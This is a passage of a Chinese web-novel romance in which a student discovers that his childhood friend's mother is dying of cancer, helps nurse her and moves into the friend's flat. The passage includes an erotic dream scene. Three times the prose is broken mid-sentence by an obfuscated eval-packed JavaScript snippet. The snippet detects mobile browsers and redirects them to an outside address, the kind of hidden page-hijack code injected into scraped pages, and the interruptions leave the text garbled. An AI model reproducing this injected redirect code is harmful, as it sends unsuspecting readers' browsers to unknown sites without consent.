隔日下训,左屹和舍友约着一起打打牙祭,去了学校西门附近的一条美食街,左屹一直揪心关关姐生病的事,又迟迟没有联系祁言,被丁文笑催问了好几次。 左屹知道这通电话迟早是要打出去的,便不再犹豫,果断拨通了这个刚存没几天的号码。 “小屹?”电话那头的人似乎也没料到会接到左屹的电话,语气明显很诧异。 “是我。” 祁言问:“怎么了?” “那个,我有些事想问你,可能会有点唐突且涉及隐私,但我是真心想帮你,希望你别介意。” 左屹心里打着鼓,他也不知道问了之后会面临什么样的局面,是像上次那样被他冷言拒绝帮助,或是被他认为自己闲得慌多管闲事,无论哪种可能都会因此彻底退离彼此的世界。 “嗯,你问。”祁言同意了。 “关关姐是不是生病了?你打工赚钱其实是为了跟她看病,对吗?我无意打探关关姐的隐私,只是想尽自己所能帮帮你们,我的比赛奖金真的挺可观的,你有需要就拿去不用想着还,我……” “小屹。”祁言打断了他的呶呶不休。 左屹以为祁言不愿意让自己掺和他的私事,心情瞬间低落,“言哥,你可以怪我多事,但我是真的想帮你们。” 祁言愣了,他已经很久没有听到左屹这样称呼他了,心底某处最柔软的地方被触碰到,“我知道,我怎么会怪你。小屹,你现在有时间吗?我在三院。” 左屹听懂了祁言话里的意思,他愿意让自己亲眼见到真相,于是立马附和生怕他反悔,“有,有时间的,你等我一会,我现在就来!” “我等你。” 左屹收起手机准备去和舍友们打个招呼再走,谁知转身才发现,李子豪双眼通红站在他身后,不知道这通电话他听了多少去,“豪哥,你……” “我都听到了,你说关关生病了是什么意思?”李子豪大步上前扶住左屹的双臂。 感受到他的用力,左屹皱眉忍着:“现在还不确定,只是笑笑在三院遇到他们在妇科肿瘤住院部,我刚准备过去看看情况。” “妇科肿瘤……是他妈什么病?癌症吗?”李子豪一时着急,吼的声音太大,引来不少人往这边看。 左屹拂开他的手,将他拉到一边安抚道:“你先冷静点,现在具体情况谁也不知道,等我了解后马上告诉你行吗?” “我他妈冷静不了,关关病了你叫我怎么冷静,怎么冷静!三院是吗?我跟你一起去,现在就走。” 李子豪拉着左屹就要走,左屹想拦着,但时间紧迫,马上就是下班高峰,实在没有时间和他周旋,他打了辆网约车,等车期间他们约定好,到了医院李子豪先回避,确定情况后再看怎么办。 约半个小时后,他们终于到了三院,祁言早在住院部楼下候着,看到来的人还有李子豪,不免脸色沉下去了些。 “李子豪听到我们打电话,出于担心想来看看。”左屹率先解释。 祁言没再说什么,领着他们上了住院部电梯。 电梯里,楼层数字每跳动一次,左屹的心脏都会随之沉落一下,他的手心被汗液浸得透湿,游泳比赛前十分钟都没有如此紧张过。 祁言看出左屹的情绪崩得太紧,便伸出左手在他的后脖颈捏了捏,想让他放轻松些,左屹感受到他的用意侧头看了一眼,两人相视而笑,这抹笑如一剂良药治愈了连日来的猜忌和恐慌。 左屹知道,真相就在这扇沉重的电梯门外,不论如何他现在都并肩站在了祁言的身边,左屹会无所畏惧陪他一起蹚过任何困境,即便是他的女朋友生病,左屹也愿意孤注一掷与他共同面对。 电梯停在了27层,祁言带着他们穿过走廊来到病房门口,房门恰好开了,走出来的是关关和他的父亲,还有身后一众实习医学生。 关关也看见了他们,刹那间瞠目结舌地问道:“李子豪,你来这干什么?” 谁知李子豪跟中了邪似的,哭着冲上去狠狠抱住关关:“你身体哪里不舒服?生病你瞒谁也不能瞒着我啊,我陪你治病,京西治不好我们就出国,一定有办法……” 左屹没想到李子豪根本不按他们商量好的来,他顾及祁言还在这,李子豪竟然抱着别人的女朋友一通哭,正要上前拉开两人,却被祁言拦住。 左屹认为是自己欠缺考虑,思量着一会该怎么和祁言好好道歉,却被一阵刻意的咳嗽声打断。 “咳咳——” 关关的父亲抬手让身后的医学生先去下一个病房,然后轻声骂道:“臭小子,我女儿好着呢,你这是干什么?” 待李子豪不顾场合哭着向关关姐和关教授一通表白真心之后,左屹才后知后觉知道祁言和关关姐之间比雪山尖的第一缕晨光还清白。 他们走后,走廊只剩下祁言和左屹两个人,左屹误会他和关关姐太久,这时不好意思起来,祁言无奈,右手轻抚上左屹低垂着的脑袋说:“你真的要进去看吗?” 左屹抬起头,眼神比上台受奖时还要坚定,“不管发生什么事,我们一起面对。” 祁言领着左屹进去,这是间单人病房,病床上躺着的是他同样一年多没见过的祁言的母亲,陈姨。 病房里消毒水味弥漫,陈姨躺在病床上,身形瘦如枯木,面无血色,头发稀疏几近光头。她的鼻腔插着氧气管,呼吸微弱,胸脯艰难地起伏着。现在的她像是一朵被暴风雨吹打后的蔷薇花,虚弱又黯淡,毫无生机。 “怎么会是陈姨生病了?她……”左屹哽咽住,他什么都问不出口了,只有无声的泪水一滴一滴落在祁言的手指尖上,是祁言在为他拭去脸上的眼泪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165013|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我妈在我们来京西后不久查出了宫颈癌晚期,发现的时候癌细胞已经扩散到全身,她一直在进行化疗和放疗,但没能有效控制。几个月前她的白细胞已经不足以支撑继续化疗了,生日那天晚上她高烧不退送进Icu监护,刚出来不久。关教授是治疗宫颈癌方面的权威,因为关教授的原因,关关有空会来帮忙照料一下。”祁言认真解释着。 寥寥数语,解开了左屹近期所有的困惑,打工也好,缺钱也罢。一切一切的背后原来竟是如此残酷的病魔在悄悄蚕食祁言母亲的生命,而这些都是祁言一个人在抗着,就在他责怪祁言人间消失的时间里,在他拼命比赛的过程中,在他吃醋祁言和关关姐谈恋爱的误会里,是祁言一人在承担所有的恐惧、委屈、无助…… “对不起,是我不懂事,在你最需要帮助的时候一直添乱。”左屹真诚地道歉着,他回想来京西后发生的事,生日、吵架、酒吧乃至这次误会,次次都在给他增加负累和压力,瞬间觉得道再多歉都显得无力苍白,不足以弥补自己给祁言造成的困扰。 祁言微笑着安抚:“傻啊,我从没觉得你在添乱,不必道歉。” 左屹泪汪汪的眼睛紧紧看着祁言,他的眼里尽是疲惫,除了完成日常学业平时要打工,还要兼顾病人,恐怕连睡觉的时间都不够,他的心揪得更紧了,左屹不敢深想这一年祁言是怎么熬过来的,换做是他可能早就崩溃了吧。 当年,祁言高考前夜发生的事,他去参加赛前集训正好错过,回来后祁言已经人间蒸发了,他那时受到不小的冲击,常常追问妈妈到底发生了什么事,得到的回应永远都是闭口不谈,就连丁文笑也不愿意提起,整个月亮湾小院十分默契地选择遗忘这件事,无人再论。 事到如今,他不再执着于祁言离开小院的原因,也不会追着喊着逼祁言给他一个换掉联系方式的理由,更不要求祁言接受他的喜欢,左屹现在唯一所希望的是祁言同意自己与他共担,不论最终的结果如何这条艰难的路程他们得一起走完,从前无论发生什么,都是祁言安慰他帮助他,这次也该换他长大了。 左屹轻轻喊着:“祁言。” “嗯。”祁言温柔回应。 左屹问:“有我在,以后别自己抗行吗?” 祁言顿住,他看向病床上昏睡的母亲,终于回道:“好。” 夜深,他们离开医院并肩走在宽阔的人行道上,九月底的夜晚已经褪去白日的燥热,拂来的徐徐微风沁人心神,交错不息的红色尾灯在暮色中拖曳长长的光轨,远处鸣笛声里还能捕捉到夏末蝉鸣的尾巴。 他们很久没有如此和平放松地散步,左屹看了眼头顶的夜空,今天京西的星星看上去格外明亮,一点也不逊色于月亮湾,唯一美中不足的是月亮将自己藏了起来。 以后我会披星戴月成为你的依靠,为你守护心中那颗最圆的月亮。 左屹看着祁言单薄的背影暗暗下了决心。 12. 提出同居 回祁言家的公交上他接了一通电话,内容左屹也听了个七七八八,大致是系主任劝说他考虑放弃休学申请的事,祁言给出的态度十分模糊,没有确定会放弃申请,只回复好好考虑。 从小被众星捧月的天才少年,竟被生活逼到这个地步。 左屹心里五味杂陈,如鲠在喉,好半天他才缓缓说道:“其实是笑笑周日碰巧在医院看见你了,她一直很担心你。” 祁言愧疚不已,“抱歉,让你们担心了。” 左屹着急驳道:“我不是责怪的意思,只是想告诉你,我和笑笑可以轮班在医院陪护,没必要休学啊。” 祁言食指弹了一下左屹的额头,“休学的事我会好好考虑的。” 左屹一把抓住他的手移到两人座位的空隙间,很认真的命令道:“不,这事你不用考虑,笑笑一直等着我给她回信呢,相信我们,照顾陈姨的事我们月亮湾铁三角缺一不可,你再犹豫小心我单方面给你除名。” 终于在左屹的威逼利诱下,祁言露出笑脸点了头。 送祁言到家后,左屹第一时间和丁文笑通电话解释情况,和他预想的一样,丁文笑在电话那头哭得稀里哗啦,陈姨以前很是宠爱他们,每次祁言买新衣服新球鞋,会跟左屹和丁文笑也买一套,小孩个子窜得快,一眨眼身高就变了,但她总是记得他们三个人的尺码,为他们添衣加裳。 得知陈姨生病大家自是难以接受,丁文笑发泄完之后便自告奋勇提出去医院陪护,再过两天便要开始放国庆小长假,左屹临时决定不回江城,留在学校方便轮班,他和丁文笑说了自己的想法,丁文笑也毫不犹豫取消了旅行计划,两人商量好放假的时候一人一天轮流着来。 电话挂断时,左屹已经到了宿舍,李子豪卡着门禁时间吹着口哨进门。 “豪哥,什么事这么开心?” 其实不用问,左屹也能猜出个大差不差。 李子豪害羞地捂着脸坐到左屹的床边,声音从指缝中挤出:“我和关关在一起了。” 左屹也为他感到高兴,“恭喜你啊,终于追到关关姐了。” 李子豪压制住这股兴奋,刚刚和关关宵夜的时候,他也听说了不少祁言的事,他这一年熬过来挺不容易的,“小屹,祁言那边如果需要帮忙随时吱声,你也别太难受。” “嗯,改天有时间叫上关关姐咱们一起吃个饭吧,麻烦她了。”左屹说道。 “行,你这段时间先好好陪陪祁言,吃饭的事不急。” 宿舍楼熄灯后,左屹点开微信,有一条新好友添加申请,微信名字是数字1,左屹不知道是谁但是同意了添加,过后,对方立刻弹来一个系统打招呼的消息。 [1:我是1] 左屹觉得有些好笑,到底是什么样的人会给自己起这么个网名。 [Zorro:真巧,我也是] 回复后,他退出和这个人的聊天界面,发现自己被拉进一个三人群里,丁文笑在群里发了一个陪护计划表,很快网名叫1的人在下面回复一句“谢谢。” 左屹大脑仿佛被百斤重的狼牙棒重重锤了一下,这位叫1的兄弟好像是祁言!! 他赶紧再次点进他们的聊天界面,撤回了那条“我也是”的消息,但还是晚了一步。 [1:你也是?] 对方撤回了一条消息 [1:撤回了?] [Zorro:发错了,别管] [1:好。] 左屹长吁一口气,还好祁言不懂他的恶趣味,倒是给圆过去了,他又回到三人群组里,他们已经聊了很多了,爬楼大部分都是丁文笑发的消息,期间提到左屹小长假留在学校的事,祁言又发来消息。 [1:放假宿舍还有人不回家吗?] [Zorro:有啊。] [1:敬敬?] “……” 左屹顿时无语,祁言该不会以为自己是为了陪郭敬敬才不回家的吧?关键他好像是听郭敬敬提过,今年小长假郭敬敬的确不回家,这下他真有种跳进黄河也洗不清的意味。 Zorro:[他是不回家,但我和他真不是你想的那种关系,我不是因为他留校的。] [1:嗯。] 嗯?就回一个嗯是什么意思!不信吗? 左屹抱着手机辗转反侧,祁言竟然不相信他! Zorro:[ 我真不是,你别误会。] [1:嗯。] 还嗯?来劲儿了是吧! [Zorro:节后校泳队要招新考核,我得加紧训练,回去了不方便,更别说我得照顾陈姨呀,那计划表里面不都写了吗? ] [1:嗯。] 这人除了嗯就不会打其他字了是不是!左屹内心在疯狂锤墙,他恨不得钻进手机里揪着祁言的衣领问问他到底闹的哪出! [Zorro:那我还是回江城算了。 ] [1:哦。] “……” 不是嗯就是哦,住学校不开心,回江城也不开心,这男的好难琢磨啊!! 左屹爬楼又看了一遍两人的聊天记录,他也没说什么惹他生气的话啊,难道就是因为郭敬敬和他都留校,祁言误以为他们是想趁放假在宿舍过上二人世界?在祁言心里自己和郭敬敬搞基是实锤了! 左屹想得心烦意乱,脑子还没想通,手已经先行一步。 [Zorro:放假我来你家住行吗? ] [1:可以。] [1:睡了,晚安。] 左屹隐隐觉得哪里有些不对,但又没想通是哪里不对。 隔日,左屹和教练沟通好训练计划,每天上午十点前结束5800m水下训练,下午有时间自己随地完成简单的陆上有氧训练,尽可能压缩了训练的时间,假期最后一天会单独对他进行模拟考核,短距离竞速游对左屹个人来说并不是最优项,800m-1500m长距离自由泳才是他的舒适区,左屹在泳池里的爆发力和耐力是惊人的存在,曾经的同年龄组比赛中几乎是无人匹敌。 他的成绩离不开后天的努力训练,更离不开从小跟着父亲横渡长江的勇气和天赋。 一开始教练说什么都不同意他压缩训练时间,这样极有可能打乱身体的肌肉记忆,从而影响水下发挥,多亏了左屹锲而不舍的死磨硬泡,还跳到水池里游了8个来回,成绩可观才令教练松口,而答应的条件就是进行一场模拟考核。 累了一天回到宿舍,大家走得七七八八,李子豪是本地人倒也不急着回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165014|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,今天还是留宿在校,宿舍一下就只剩他和李子豪、郭敬敬三人。 自从上次表白之后,郭敬敬会有意无意对左屹示好,但都被他坚定的态度挡了回去,他便也自觉无趣,这些日子安分了很多。 熄灯后三个人躺在各自的床上聊天,彼此问到小长假的假期安排,李子豪打算带关关去仙本那度假,郭敬敬接了酒吧的驻唱,晚上去酒吧表演白天回来补觉。 李子豪在黢黑的宿舍突然拍了一下床板,吓得左屹弹坐起来。 “我靠,你有病啊!”左屹骂道。 李子豪被他的反应逗得哈哈大笑:“晚上一个人在宿舍会不会怕啊,小屹屹~” “左屹,你怕吗?要不我把驻唱推了,晚上回宿舍陪你。”郭敬敬也笑着问。 左屹翻着没人看得见的白眼,“抱歉啊,我放假去朋友家住,不在宿舍,让各位失望了。” 郭敬敬失落的问:“是去祁言哥那里吗?” 李子豪刚想接茬,左屹先发制人:“是,言哥那边有些事需要帮忙,住他那方便些。” “那你日常训练怎么办,他家和学校来回跑吗?”李子豪问。 郭敬敬酸了一句:“两头跑不累吗?什么忙一定要住他那才能帮。” “敬敬!”李子豪听不过去了,开怼道:“不就多了半个小时路程的事吗,你替人左屹抱怨什么呢?再说帮什么忙,咱又不是他对象,没必要跟我们报备得清清楚楚,做朋友千万别越界,懂吗?” “我不是那个意思。”郭敬敬委屈的辩解。 左屹没想到李子豪会先跳出来帮他,如果他不怼,自己也是要好好和郭敬敬说道说道的,既然李子豪先唱了黑脸,那自己就负责圆场,“好了,豪哥没别的意思,我假期去哪是我的私事,各忙各的就好,都赶紧睡觉吧。” 三十号左屹上午训练完,下午就回宿舍收拾了几件换洗的衣物赶去了医院,他还没有照顾过病人,祁言刚好下午还有一节专业课,下课就不去打工了,他得赶紧去跟祁言学习一下护理知识,以免帮倒忙。 到病房时,陈姨意识还算清醒,她一眼便认出左屹,嘴巴一张一合想说话,却虚弱地难以发声。 “陈姨,我是小屹,我来看你了。”左屹迎上去握住陈姨的手,祁言站在一旁脸色沉重。 陈姨吃力地移开氧气管,眼泪源源不断往两侧涌下,“小屹…长…大了,真帅。”话落,剧烈咳嗽起来。 左屹红着眼眶,边安抚边将氧气管替陈姨安好,“姨,别说话了,我今天都在这陪你,一会我讲讲小院的事你听好不好?” 陈姨这才安心,祁言手里攥着揉皱的纸巾寸步难移。 左屹见状,又抽了一张纸巾,到病床前轻轻为陈姨擦拭眼泪。 祁言交代完一切就要赶去学校上课,左屹听得很认真,其实照顾病人并不是什么技术活,就是得细心,要时刻观察病人的状态变化,哪疼了替她揉一揉按一按躺久了帮她翻翻身,给病人补充水分,及时倒尿袋,配合医生的查房,看准输液袋的药水即使按铃换药…… 左屹送祁言出医院,祁言一直绷着脸心情不好的样子,但是他不说,左屹也不问,他知道有些事问了也无力回天,现在他们唯一能做的就是尽人事听天命。 13. 正式同居 下午,左屹在陈姨清醒的时候跟她讲述月亮湾小院的事,“姨,您不知道你们搬家之后没多久,王爷爷谈了个黄昏恋,是他老年合唱团里的新主唱,贺奶奶和王爷爷感情可好了,我来京西前还听说他们要去领结婚证呢。” 说的喜事陈姨听得也乐呵,就是想笑的时候容易咳嗽,左屹又捡着其他事情说:“欧阳叔叔家的小狼狗去年冬天下了一窝小崽子,我亲眼看着出生的,有5只小狼狗,我还跟叔预定了一只断奶后领回家,结果我妈知道了差点给我骂死,您知道她那嗓门的……” 左屹帮陈姨揉着胳膊,又说:“对了,提到我妈,老宋和文阿姨可想您了,等您出院了,过年回江城跟老宋一起腌鱼腌肉吧,以前每年都是您帮她掂量着盐的用量,去年您没在,那些腊鱼腊肉都咸死了,根本不能吃。” 陈姨很喜欢左屹和她说这些院里的事,她努力抬手想摸摸左屹乱蓬蓬的卷毛,左屹俯下身将脑袋递到她的手边,扶着她插着留置针的右手一下一下抚摸自己的头发。 “陈姨,答应我,你一定要好起来,等你好了我就告诉你一个秘密,一个谁都不知道的秘密,我只告诉你一个人。”左屹的脸埋在被子上,悄悄流泪。 “好啊…”陈姨沙哑的声音清晰地传到左屹耳朵。 左屹像一个获得棒棒糖奖励的孩子,开心地用头发蹭着陈姨的手臂,“那我们说好了,拉钩。”他拉起陈姨满是青痕的手,自己也伸出小拇指勾上了她的小拇指,一约成定。 没一会儿,陈姨睡着了,左屹坐在靠椅上安静陪着,一点也不觉得累。 期间老宋给他打了个电话,问为什么放假不回江城,左屹本想告诉老宋是因为陈姨生病了,但他知道,老宋知道这事一定会拉着文阿姨马不停蹄赶来京西探病,陈姨现在需要静养,大家都过来,反而会增加陈姨的心理负担,他只能说是为了节后的校队考核,必须要保持训练才不回去了。 还好老宋也没有怀疑什么。 晚上祁言下了课来医院接左屹,陈姨一直昏睡不醒,陪夜护工提前几个小时来接班,左屹便跟祁言回了家。 再一次来到祁言的公寓,他才仔细欣赏起这间房子,说是欣赏不如说是一览无余,这间公寓是典型的简约风,这个简约不是单指硬装,还有家具和软装,客厅里除了餐桌、双人沙发、小茶几、一个大书柜里面放着许多天文物理类的书籍,几乎再没有其他,很空旷也很孤寂。 左屹想着,以后有时间要慢慢帮他把家里填满,沙发可以换个大点的,茶几下面添一床毛绒地毯,要给沙发后面的白墙买一幅画,或者拉着祁言和笑姐去拍套艺术照,挂照片也不错。 “小屹。” 左屹沉浸的思绪被祁言轻声拉回,“啊?” “可以将行李放到我房间的衣柜里,晚饭吃番茄牛腩烩饭行吗?”祁言说着往厨房走去。 自己的换洗衣服放到他的房间衣柜里会不方便吧,每次洗漱前都要去他的房间拿衣服…… 左屹想起上次在祁言床上的窘境,脸颊便不自觉发烫,他哪敢再踏进那间房。 “衣服我就放客房就好。”话刚说完,左屹刚好走到客房门口,他推开门的那一瞬傻了眼,“靠!床呢?” “忘了跟你说,我妈之前嫌客房那张床太硬,我处理了,暂时还没来得及买新床。”这席话被祁言说得风轻云淡,极其理所当然。 哦,可是没床他睡哪?客厅那张一米二的沙发吗? 左屹比了比自己腿的长度,勉强和那张沙发差不多长,他默默琢磨着未来七天应该以什么姿势睡觉比较合适。 好像都不行,毕竟他和沙发差了68厘米,他该把这68厘米往哪搁?左屹走到沙发前来回比划,尝试好几个姿势,都以失败告终。 "言哥,你家有多的被子给我打地铺吗?”左屹端坐在沙发上,怀抱着一丝希望的眼神看向厨房忙碌的身影。 祁言走出厨房,靠在门边一脸无辜地耸肩回应:“没有。” 这下给左屹不乐意了,他略显激动地站起来,走到祁言面前问:“那我住来你家,打算叫我睡厕所吗?” “为什么要睡厕所?”祁言瞪着无辜的凤眼,反问道。 左屹双臂环胸质问:“那不然睡哪?” “我房间两米的床,不好睡吗?”祁言问。 “……” 左屹耳朵瞬间烧了起来。 我的王母娘娘玉皇大帝,大罗金仙太上老君啊,和祁言睡一张大床这谁顶得住? 左屹慌了,肉眼可见的慌了。 “你要是不习惯两个人睡一起,那我睡沙发好了,沙发虽然小挤一挤也能睡。”祁言面露难色瞥了一眼黑色小沙发。 左屹突然觉得自己矫情,说来祁言家住是他,嫌没床的是他,现在有张两米大床睡不满意的还是他,祁言跟他身高差不多,沙发肯定睡不了。 大老爷们儿一起睡个觉有什么好纠结的? 于是左屹认命般地大手一挥,不情不愿提着背包走去主卧:“不用,就一起睡。” “放完行李出来吃饭。”祁言说。 左屹拉开衣柜,祁言的衣服已经都归纳到右侧,左侧应该是特意留给他的,他大多是黑灰色系衣服,与一旁的白色系形成鲜明对比,收拾完以后,他大肆欣赏起来,莫名觉得他们的衣服还挺配。 晚饭左屹吃了整整两大碗烩饭,他打着饱嗝收餐碗,准备去洗。 祁言拦住他:“吃饱了休息会,我来洗。” “不行,做饭的不洗碗,所以以后你负责做饭我负责洗碗。”左屹麻利地收完碗,拿到厨房清洗。 祁言唇角一勾,没再坚持自己洗这个碗。 收拾完厨房,祁言已经不在客厅里,左屹回到主卧听到房间浴室里有水流声嘀咕道:“刚吃完饭就洗澡,会消化不良吧。” 夜晚似乎变得冗长,他此时不知道该做些什么,平时在学校训练完已经挺晚的了,回宿舍跟大家聊聊天,刷刷手机没一会也就睡了,从没觉得晚上时间过得这么慢,现在竟然才八点。 做几组平板支撑好了,说干就干,左屹趴在客厅地板上调整姿势,撑了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165015|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 平板支撑这个运动需要腹部收紧承担大部分核心力量,撑到一定极限时大脑容易放空,任何风吹草动都可能被忽略,这不,连祁言洗完澡出来,站在客厅看了他足足三十多秒,他都没发现,直到祁言一双修长笔直到不像话的腿走到左屹眼前。 左屹的抬眼顺着这条白净的腿一路往上探,祁言穿了一条白色短裤几乎和腿上的肤色融合一体,柠檬沐浴露混着体温的热气扑面而来。 视线再往上,不得了,祁言竟然有六块腹肌,胸前还淌下几滴没擦干的洗澡水,为他的薄肌身材又添了几分性感,左屹咽结随着吞咽动作滚动,手心开始疯狂冒汗,这场面真是色令智昏,差点迷了左屹的魂。 不对…他没穿衣服!? 左屹脸一热瞬间破功,双臂一失力胸前猛砸到地板上,脸颊撞到地板,疼得他直抽气。 “没事吧?”祁言蹲下将他扶起,头发上冰凉的水珠滴落在左屹的耳尖上,激得他一颤。 左屹几乎是躲似的避开祁言的肢体触碰,他坐地上揉着右脸颧骨,嘴里抱怨道:“怎么不穿衣服啊。” 祁言:“我晚上习惯这样睡觉。” “……” 好好好,上天派你个男妖精来折磨我这气血方刚的青年,太过分了! 左屹正心中为自己打抱不平,祁言突然凑近查看他刚刚撞地的脸:“青了,脸。” “亲谁脸?”左屹疑惑。 祁言轻轻按了下他淤青的脸颊他的脸又说一遍:“你的脸,摔青了。” 左屹嘶了一声,吃痛地眯眼。 夜晚,祁言帮左屹涂了化瘀的药膏,便上.床休息。 房间开着床边那盏橘色暖光的落地台灯,祁言半靠着床头在看一本关于天文书籍,左屹刷着手机醉翁之意不在酒,刷着刷着就偷瞄旁边的人。 “感觉你挺别扭的,其实可以随意一点。”祁言突然说。 和喜欢的人半裸躺在一张床上再随意点就要出事儿了。 左屹心里憋屈,祁言多大的人了一点都不懂得保护自己,不穿衣服和别人躺在一起都不成样子了,还要人随意一点!是把谁不当男人了!? “没有啊,又不是没一起睡过,我有什么好别扭的。”左屹解释。 祁言放下书,温柔地说:“你还记得我们睡过。” 这话听起来有点不对啊…… 左屹清了清嗓,说道:“嗯哼,也就几年前的事儿。” 那是六年级期末的一个平常夜晚,那段时间他们家的公司出了点小状况,爸爸妈妈要去外地出差几天,左祁两家住邻栋,于是临出发前,老宋将他托付给祁言妈妈帮忙照料一日三餐。 那天吃完晚饭,他回家写作业,结果家里瞬间黑下来,他从小天不怕地不怕,唯独怕黑。 他喜欢在水下被水流包裹全身,那样能给予他足够的安全感。 在黑暗里五官观感会被放大,很是可怕。 爸爸妈妈又不在家,他吓得缩在客厅一个小角落哭,就在濒临绝望的时候有人敲响了他家的门。 14. 春天的梦 “咚咚——” 左屹被敲门声吓到,根本不敢开门也不敢出声。 “小屹,是我。” 祁言焦急的声音在门外响起的那一刻,仿佛神明降临人间,来拯救受苦受难的信徒。 他顾不得形象,顶着哭肿的核桃眼跑到门前开门,看到祁言,左屹整个人放松下来,扑进他怀里哭得更大声了。 “好了好了,有我在,别怕。”祁言一下一下拍着他背抚平恐惧。 左屹被祁言牵回房间时还在抽泣,他紧紧攥着祁言的手,生怕人跑了。 祁言见左屹待在伸手不见五指的房间里依旧像一只遭遇惊吓的小狮子,于是又牵着左屹到阳台上搬了两把小凳子一起坐着,两个人借助月光彼此陪伴,月色虽没有太阳那般耀眼,但在至暗时刻却是盏明灯,是他们唯一的光。 “宋姨和左叔叔他们好吗?”祁言的问题拉回左屹游走的思绪。 左屹点头回答:“挺好的,他们经常问到你和陈姨。” 祁言说:“嗯,有机会帮我带个好,还有文阿姨和丁叔。” 左屹:“我不带话,放假你自己回去看他们。”过会又说:“刘奶奶很想你,哭了好几次。” 祁言抿住唇,不做声了。 左屹困意袭来,钻进被子里睡下,祁言调暗了台灯亮度,橘黄的暖光像那夜的月亮,安抚着他们入眠。 很久,祁言都没有睡着,高考前夜的事一直像块巨石般压在他和母亲的心里,无人诉说。身边传来左屹平稳均匀的呼吸声,祁言放轻动作下了床去客厅点了一根烟。 猩红的火光在昏暗的空间里忽明忽暗,像藏在暗夜里的兽眼选中了心仪猎物,等待时机追捕。 “小屹…” 睡得正香的左屹鼻尖传来一股柔软湿润的触感,弄得他不得不睁开眼。 眼前是祁言眼尾泛红,眸色迷离,不藏欲望的脸,他娇艳欲滴的唇刚刚退离左屹的鼻尖,正在往唇下探寻。 “言哥,你…” 左屹的话被他的唇堵住又吞回了肚子里,灵巧的舌温柔地撬开左屹的牙齿,舌头在他的口腔里肆意逗弄,贪婪地吸取着汁液。像是在品尝一颗汁水饱满的水蜜桃,甜蜜在两人的舌尖同时炸开。 左屹被品尝得晕头转向,齿间发出“唔…唔”的抗议声,他虽愿意一直沉迷在这种突如其来的幸福里,但大脑提醒他要保持清醒,左屹试图推开半压在他身上的人,却被禁锢住双手压到了脑袋后面,不得动弹。 “小屹,是你自己爬到我的床上来,别怪我把你吃干抹净。”祁言性感低迷的嗓音在耳边萦绕。 左屹感觉耳尖正在被人舔舐玩弄,“别,别弄这里,好痒…”,这是他的敏感点,克制的小火苗唰地被点燃。 他的舌顺着左屹的耳尖一路舔舐到侧颈,温暖的湿润感一点一点将他的理智淹没。 左屹沉溺在这座即将要喷发的火山里,他想求饶,唇被狠狠堵住发不出声音;想推开,身子被死死压住使不上力气;于是只能选择和爱人一同跌落在这片吃人的沼泽之中,大不了要活一起活,要死一起死。 左屹浑身战栗,那座火山终于喷发出来,熔浆四溅。 酥麻感席卷全身,他闷哼一声,裤子被浸湿。 再睁开眼时,暖黄灯光下床边哪有什么人啊。 “操。”左屹拧眉暗骂。 是做梦。 他瞬间羞愤红了脸,住人家里第一夜就搞这种事,被发现不用做人了。 左屹赶紧翻身下床,检查了一下床单,还好没有浸上,只要处理掉裤子就神不知鬼不觉了。左屹找出干净内裤和睡裤逃到浴室里,收拾完自己,看着脏掉的裤子发愁,现在不方便清洗又怕被发现,他只能把裤子团成一团丢到垃圾桶里。 “完美!” 左屹心满意足地离开浴室,和刚回房间的祁言撞了个满怀。 “你,去哪了?”左屹心虚的问。 祁言往屋内走:“口渴。” 路过左屹身边的时候,他又闻到了那股熟悉烟草味道,比之前还重了几分。 “顺便再抽几根烟?” 祁言淡笑一下,没有否认:“怎么醒了?” 左屹自己心虚却又不给好脸色的回答:“尿憋的。” 祁言进门便注意到他换了睡裤,看破不说破。 左屹又躺回到床上,侧过身子背对着祁言说:“关灯睡吧,我现在胆子大多了。” 而且有你在,我也不会怕。 关灯后,祁言往左屹那边靠近了些。左屹不知道,六年级停电那晚,他睡着后无意识地紧紧抱了祁言一夜。 “小屹,明天一起过节吧。” 左屹迷迷糊糊快睡着时听到祁言的这句话,含糊应了一声好。 天蒙蒙亮,左屹起了大早赶回学校训练,训练结束他跟丁文笑打了一通电话,交代了一些护理上的注意事项,又去买了一堆做蛋糕的食材。 回到公寓,左屹偷偷摸摸把购物袋放到厨房,昨天洗碗看到有烤箱才萌生了自己做蛋糕的想法。 天助他也。 左屹在屋里找了一圈,祁言不在家,他这才光明正大回厨房跟着视频捣鼓起来。 “蛋清蛋白分离、蛋黄加入玉米油和细砂糖,搅拌均匀…”左屹搁楞搁楞拿着打蛋器手动搅拌。 接下来的打发蛋白全靠他孔武有力的右臂手动进行,“操,做蛋糕这么累的啊。” 五分钟后,他想把钢碗丢进垃圾桶。 十分钟后,他想把厨房炸了。 